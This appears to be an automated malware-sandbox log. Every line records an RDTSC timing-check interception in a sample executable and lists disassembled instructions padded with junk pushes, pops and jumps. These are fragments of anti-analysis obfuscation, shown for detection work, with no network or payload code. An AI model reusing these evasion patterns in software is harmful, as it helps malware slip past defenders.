Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1FF62 second address: E1FF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E23809 second address: E2380D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2380D second address: E23811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2587A second address: E25895 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FADBDAB691Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FADBDAB6916h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E25895 second address: E2589B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E26E0C second address: E26E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E25F8A second address: E25F8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E26E10 second address: E26E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E25F8E second address: E25F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E26E16 second address: E26E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jp 00007FADBDAB6916h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FADBDAB6923h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E25F94 second address: E25FC2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FADBC8905AAh 0x00000011 jmp 00007FADBC8905B7h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E25FC2 second address: E25FCC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FADBDAB691Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E27D74 second address: E27D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E27D81 second address: E27D86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E28D9F second address: E28DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E28DA3 second address: E28E01 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FADBDAB6916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 jl 00007FADBDAB691Ch 0x00000017 pop eax 0x00000018 nop 0x00000019 xor bx, 8793h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FADBDAB6918h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov dword ptr [ebp+122D1D08h], ecx 0x00000040 push 00000000h 0x00000042 or dword ptr [ebp+122D1A27h], esi 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FADBDAB691Bh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E27F3E second address: E27F59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007FADBC8905AEh 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E28E01 second address: E28E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FADBDAB6916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2AE64 second address: E2AE6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2AE6A second address: E2AF15 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FADBDAB6916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FADBDAB6928h 0x00000012 nop 0x00000013 pushad 0x00000014 xor dword ptr [ebp+122D1C12h], edi 0x0000001a mov esi, dword ptr [ebp+122D1C0Dh] 0x00000020 popad 0x00000021 jmp 00007FADBDAB6928h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007FADBDAB6918h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 or dword ptr [ebp+122D1A27h], edx 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d call 00007FADBDAB6918h 0x00000052 pop eax 0x00000053 mov dword ptr [esp+04h], eax 0x00000057 add dword ptr [esp+04h], 00000019h 0x0000005f inc eax 0x00000060 push eax 0x00000061 ret 0x00000062 pop eax 0x00000063 ret 0x00000064 xor dword ptr [ebp+122D26D3h], ecx 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jp 00007FADBDAB691Ch 0x00000073 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2AF15 second address: E2AF1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2C06B second address: E2C071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2B071 second address: E2B075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2B075 second address: E2B07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2B07B second address: E2B080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2B080 second address: E2B086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2E0E6 second address: E2E0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2E0EA second address: E2E0EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2E0EE second address: E2E0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F13D second address: E2F1AA instructions: 0x00000000 rdtsc 0x00000002 je 00007FADBDAB6918h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007FADBDAB6928h 0x00000014 mov edi, dword ptr [ebp+1244EA33h] 0x0000001a pop ebx 0x0000001b push 00000000h 0x0000001d mov ebx, dword ptr [ebp+122D3747h] 0x00000023 push 00000000h 0x00000025 call 00007FADBDAB6928h 0x0000002a add edi, 0FCDD39Dh 0x00000030 pop edi 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FADBDAB6921h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F1AA second address: E2F1BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F1BE second address: E2F1CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F1CE second address: E2F1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FADBC8905A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F1D9 second address: E2F1E3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FADBDAB691Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E30361 second address: E303AE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FADBC8905ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FADBC8905A8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov edi, dword ptr [ebp+122D364Fh] 0x0000002f push 00000000h 0x00000031 mov ebx, 240A9D3Ah 0x00000036 or dword ptr [ebp+12465D4Eh], esi 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push esi 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E303AE second address: E303B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E303B3 second address: E303B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E303B8 second address: E303CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jo 00007FADBDAB6916h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E303CA second address: E303DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBC8905ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E31318 second address: E3131C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3131C second address: E313AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FADBC8905AEh 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FADBC8905A8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov ebx, dword ptr [ebp+122D38B7h] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007FADBC8905A8h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d push 00000000h 0x0000004f mov dword ptr [ebp+1245236Eh], edi 0x00000055 xchg eax, esi 0x00000056 jnp 00007FADBC8905BEh 0x0000005c jmp 00007FADBC8905B8h 0x00000061 push eax 0x00000062 push edi 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F380 second address: E2F384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F384 second address: E2F388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F388 second address: E2F3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FADBDAB6922h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E2F3A2 second address: E2F3A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3248A second address: E324F1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FADBDAB691Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop ebx 0x00000013 nop 0x00000014 jmp 00007FADBDAB691Ah 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FADBDAB6918h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov bx, dx 0x00000038 mov dword ptr [ebp+1244F267h], edx 0x0000003e push 00000000h 0x00000040 mov ebx, dword ptr [ebp+1244ED8Bh] 0x00000046 push eax 0x00000047 pushad 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b pop edx 0x0000004c push eax 0x0000004d push edx 0x0000004e jne 00007FADBDAB6916h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E324F1 second address: E324F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E31591 second address: E315AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E33536 second address: E3353A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3353A second address: E33544 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FADBDAB6916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3262E second address: E32632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E33544 second address: E33561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB6929h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E32632 second address: E32638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E32638 second address: E32654 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FADBDAB6927h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E33755 second address: E3375B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3375B second address: E3375F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E35663 second address: E35695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnc 00007FADBC8905ACh 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007FADBC8905A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C0F4 second address: E3C0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C0FC second address: E3C107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C107 second address: E3C10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C10D second address: E3C113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C113 second address: E3C117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C28D second address: E3C293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C293 second address: E3C297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E3C297 second address: E3C29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E42783 second address: E42788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E42788 second address: E4278E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DD6E9C second address: DD6EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E46611 second address: E46615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E46615 second address: E46633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FADBDAB6916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 jnp 00007FADBDAB691Eh 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E46633 second address: E4663E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E4663E second address: E46644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E46644 second address: E46655 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E46655 second address: E46665 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FADBDAB6922h 0x00000008 jne 00007FADBDAB6916h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E46BBB second address: E46BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FADBC8905AEh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E46BC9 second address: E46BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E4702E second address: E47033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E47033 second address: E47038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53E74 second address: E53E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53E7C second address: E53E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53E80 second address: E53E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53E84 second address: E53E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FADBDAB6916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007FADBDAB6916h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E52915 second address: E52919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E52A78 second address: E52AB5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FADBDAB6922h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FADBDAB6935h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E52C28 second address: E52C3B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FADBC8905A6h 0x00000008 jg 00007FADBC8905A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53571 second address: E5357C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53821 second address: E5387C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FADBC8905B8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FADBC8905B4h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FADBC8905B9h 0x00000019 jno 00007FADBC8905A6h 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
